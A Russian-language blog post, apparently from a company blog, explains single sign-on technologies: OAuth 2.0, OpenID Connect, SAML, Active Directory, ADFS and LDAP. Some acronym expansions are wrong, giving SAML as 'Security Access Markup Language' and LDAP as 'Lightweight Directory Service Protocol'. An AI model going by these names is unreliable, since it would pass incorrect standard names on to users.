OAuth 2.0 — это особая программная платформа, которая также может считаться частью архитектуры FIM. OAuth фокусируется на доверительных отношениях, предоставляя доменам идентификационную информацию пользователя.

OpenID Connect (OIDC) — это уровень аутентификации, наложенный на базу OAuth 2.0, чтобы обеспечить фунциональность SSO.

Security Access Markup Language (SAML) — это открытый стандарт, который также разработан для обеспечения функциональности SSO.

Система Same Sign On, которую часто обозначают, как SSO, на самом деле, не похожа Single Sign-on, т.к не предполагает наличие доверительных отношений между сторонами, которые проходят аутентификацию. Она более привязана к идентификационным данным, которые дублируются и передаются в другие системы когда это необходимо. Это не так безопасно, как любое из решений единого входа.

Также существуют несколько конкретных систем, которые стоит упомянуть, говоря о платформе SSO: Active Directory, Active Directory Federation Services (ADFS) и Lightweight Directory Service Protocol (LDAP).

Active Directory, который в настоящее время именуется, как Active Directory Directory Services (ADDS) — это централизованная служба каталогов Microsoft. Пользователи и ресурсы добавляются в службу каталогов для централизованного управления, а ADDS работает с такими аутентификационными протоколами, как NTLM и Kerberos. Таким образом, пользователи, относящиеся к ADDS могут аутентифицироваться с их устройств и получить доступ к другим системам, интегрированным с ADDS. Это и есть форма SSO.

Active Directory Federation Services (ADFS) это тип управления федеративной идентификацией (Federated Identity Management system), которая также предполагает возможность Single Sign-on. Он также поддерживает SAML и OIDC. ADFS преимущественно используется для установления доверительных отношений между ADDS и другими системами, такими как Azure AD или других служб ADDS.

Протокол LDAP (Lightweight Directory Service Protocol) — это стандарт, определяющий способ запроса и организации информационной базы. LDAP позволяет вам централизованно управлять такими ресурсами, как пользователи и системы. LDAP, однако, не определяет порядок авторизации, это означает, что он не устанавливает непосредственный протокол, используемый для аутентификации. Но он часто применяется как часть процесса аутентификации и контроля доступа. Например, прежде, чем пользователь получит доступ к определенному ресурсу, LDAP сможет запросить информацию о пользователе и группах, в которых он состоит, чтобы удостовериться, что у пользователя есть доступ к данному ресурсу. LDAP платформа на подобие OpenLDAP обеспечивает аутентификацию с помощью аутентификационных протоколов (например, Simple Authentication и Security Layer SASL).

Как работает система единого входа как услуга?

SSO функционирует также, как и многие другие приложения, работающие через интернет. Подобные OneLogin платформы, функционирующие через облако, можно отнести к категории решений единого входа “Software as a Service” (SaaS).

Что такое App-to-App (приложение-приложение) SSO?

В заключение, возможно вы слышали о App-to-App SSO. Пока еще такой подход не является стандартным. Такое понятие больше используется SAPCloud для обозначения процесса передачи идентификационных данных пользователя из одного приложения в любое из других, состоящих в их экосистеме. В какой-то степени такой метод присущ OAuth 2.0, но хочется снова подчеркнуть, что это не стандартный протокол или метод. В настоящее время он является характерным только для SAPCloud.

• Блог компании Nixys
• Системное администрирование
• IT-инфраструктура
• DevOps

Похожие публикации:

1. Как вывести число в двоичной системе c
2. Как получить элемент из set в java
3. Как разрешить загрузку файлов в яндекс браузере
4. На какой вкладке находятся инструменты работы со списками